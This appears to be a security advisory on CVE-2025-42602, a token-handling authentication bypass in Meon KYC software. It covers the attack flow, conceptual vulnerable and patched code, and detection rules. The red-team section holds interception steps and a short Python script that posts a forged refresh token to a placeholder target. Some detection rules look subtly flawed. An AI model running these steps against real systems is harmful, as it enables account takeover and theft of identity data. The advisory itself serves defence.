CVE-2025-42602

Executive Summary

CVE-2025-42602 is a critical authentication bypass vulnerability in Meon KYC solutions. The flaw stems from improper handling of access and refresh tokens within specific API endpoints of the authentication process. A remote, unauthenticated attacker can intercept and manipulate API responses (specifically the request body) to forge or replay tokens, leading to unauthorized access to other user accounts. This effectively allows an attacker to impersonate any user without valid credentials, compromising the entire KYC (Know Your Customer) platform. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available, but the risk is severe due to the sensitive nature of KYC data.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary commercial solution (Meon KYC). Therefore, supply chain security concerns are limited to the vendor's internal development and deployment practices. Organizations using this solution should treat it as a critical third-party risk and demand immediate patching or mitigation guidance from Meon.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No victim action is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full access to all user accounts and their KYC data.
• Integrity (I): High – The attacker can modify data or perform actions as any user.
• Availability (A): High – The attacker could potentially lock out legitimate users or disrupt service.

Threat Level: Critical. The combination of network exploitability, no authentication requirement, and high impact on confidentiality, integrity, and availability makes this a top-priority vulnerability for any organization using Meon KYC.

Deep Dive & Mechanics

The vulnerability resides in the authentication API endpoints of Meon KYC solutions. The core issue is improper validation of access and refresh tokens. Specifically, the server trusts the client-provided token values without verifying their integrity or origin against a secure session store.

Attack Flow:

1. Interception: An attacker intercepts a legitimate API request/response between a user and the Meon KYC server. This could be done via a Man-in-the-Middle (MitM) attack on an unencrypted network or by compromising a network device.
2. Manipulation: The attacker modifies the access_token or refresh_token fields in the API request body (or response, depending on the endpoint) to a value they control or to a token belonging to another user (e.g., obtained via a previous session or by guessing).
3. Replay/Forge: The attacker sends the manipulated request to the server. Due to the lack of proper server-side validation, the server accepts the forged token and grants the attacker the privileges associated with that token.
4. Unauthorized Access: The attacker now has full access to the victim's account, including all KYC data (identity documents, financial information, etc.) and can perform actions on their behalf.

The vulnerability is not a simple SQL injection or XSS; it is a logic flaw in the token handling mechanism. The server likely fails to:

• Verify the token signature (if using JWTs).
• Check the token's issuer and audience.
• Validate the token against a server-side session store.
• Ensure the token has not been revoked or expired.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Conceptual - Python/Flask):

@app.route('/api/auth/refresh', methods=['POST'])
def refresh_token():
    data = request.get_json()
    refresh_token = data.get('refresh_token')
    # VULNERABLE: Directly trusts the client-provided token without validation
    user = decode_token(refresh_token)  # No signature verification
    if user:
        new_access_token = create_access_token(user['id'])
        return jsonify({'access_token': new_access_token})
    return jsonify({'error': 'Invalid token'}), 401

Patched Code (Conceptual):

@app.route('/api/auth/refresh', methods=['POST'])
def refresh_token():
    data = request.get_json()
    refresh_token = data.get('refresh_token')
    # PATCHED: Verify token signature and check against server-side store
    try:
        payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=['HS256'])
        # Check if token exists in server-side session store
        if not session_store.exists(payload['jti']):
            return jsonify({'error': 'Token revoked'}), 401
        user = get_user_by_id(payload['sub'])
        if user:
            new_access_token = create_access_token(user['id'])
            return jsonify({'access_token': new_access_token})
    except jwt.InvalidTokenError:
        return jsonify({'error': 'Invalid token'}), 401
    return jsonify({'error': 'Invalid token'}), 401

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A test instance of Meon KYC (version unknown).
• A network position allowing traffic interception (e.g., same LAN, compromised router, or ARP spoofing).
• Tools: Burp Suite, mitmproxy, or a custom Python script.

Step-by-Step Exploitation:

1. Intercept a Legitimate Request: Use Burp Suite to intercept a POST request to /api/auth/refresh or similar endpoint.
2. Modify the Token: In the request body, change the refresh_token value to a token you have generated (e.g., a simple base64-encoded string) or to a token from another user.

   {
     "refresh_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
   }
   

3. Forward the Request: Send the modified request to the server.
4. Receive Unauthorized Access: If the server returns a new access_token, you have successfully bypassed authentication. Use this token to access other user accounts.

Automated Exploit (Python):

import requests
import base64
import json

target_url = "https://target-meon-kyc.com/api/auth/refresh"
# Forge a simple token (this is a placeholder - actual exploitation may require specific format)
forged_token = base64.b64encode(json.dumps({"user_id": 2}).encode()).decode()

response = requests.post(target_url, json={"refresh_token": forged_token})
if response.status_code == 200:
    print(f"Exploit successful! New access token: {response.json().get('access_token')}")
else:
    print(f"Exploit failed. Status: {response.status_code}")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual patterns in authentication API calls, especially repeated requests with different refresh_token values.
• Alert on any successful authentication from an IP address that has no prior session history.
• Look for anomalies in token length or format (e.g., base64-encoded JSON instead of proper JWT).

Defense:

• Immediate: If possible, disable the vulnerable API endpoints or restrict access to trusted IPs only.
• Network: Enforce TLS 1.2+ for all API traffic to prevent MitM attacks.
• Application: Implement proper token validation (signature, expiry, server-side session store).
• Monitoring: Deploy WAF rules to block requests with malformed or suspicious tokens.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual POST requests to /api/auth/refresh or /api/auth/token endpoints.
  • Requests containing refresh_token values that are not standard JWTs (e.g., base64-encoded JSON, plaintext).
  • Multiple failed authentication attempts followed by a successful one from the same IP.
• Log IOCs:
  • Log entries showing successful authentication for a user without a corresponding login event.
  • Log entries with refresh_token values that do not match the expected format.
• File IOCs:
  • No specific file-based IOCs are known.

Detection Engineering

YARA Rule

rule CVE_2025_42602_Meon_KYC_Token_Manipulation {
    meta:
        description = "Detects potential exploitation of CVE-2025-42602 by identifying forged or manipulated refresh tokens in API requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-42602"
    strings:
        $token_field = "refresh_token"
        $suspicious_pattern = /"refresh_token"\s*:\s*"[A-Za-z0-9+/=]{10,}"/
        $jwt_pattern = /eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/
    condition:
        $token_field and $suspicious_pattern and not $jwt_pattern
}

Sigma Rule

title: CVE-2025-42602 - Meon KYC Token Manipulation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Meon KYC authentication endpoints with suspicious refresh_token values
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-42602
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/auth/refresh'
    filter:
        cs-uri-query|contains: 'refresh_token=eyJ'
    condition: selection and not filter
falsepositives:
    - Legitimate token refresh requests with valid JWT format
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-42602 - Meon KYC Token Manipulation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/auth/refresh"; http_uri; content:"refresh_token"; http_client_body; pcre:"/\"refresh_token\"\s*:\s*\"[A-Za-z0-9+\/=]{10,}\"/"; pcre:"!/\"refresh_token\"\s*:\s*\"eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\"/"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, isolate the Meon KYC system from the internet until a patch is available.
2. Monitor: Implement the detection rules above to identify any ongoing exploitation.
3. Contact Vendor: Urgently contact Meon for a patch or workaround.

Long-Term Fixes:

1. Patch: Apply the official patch from Meon as soon as it is released.
2. Code Review: Conduct a thorough security audit of all authentication and token handling code.
3. Implement Best Practices:
   • Use industry-standard JWT libraries with proper signature verification.
   • Store refresh tokens in a server-side session store (e.g., Redis) and validate them against it.
   • Implement token rotation and revocation mechanisms.
   • Enforce short token expiry times.
4. Network Security:
   • Ensure all API traffic is over TLS.
   • Use API gateways with rate limiting and anomaly detection.
5. User Education: Inform users to monitor their accounts for suspicious activity.

Valters IT
DevSecOps & Cyber Threat Intelligence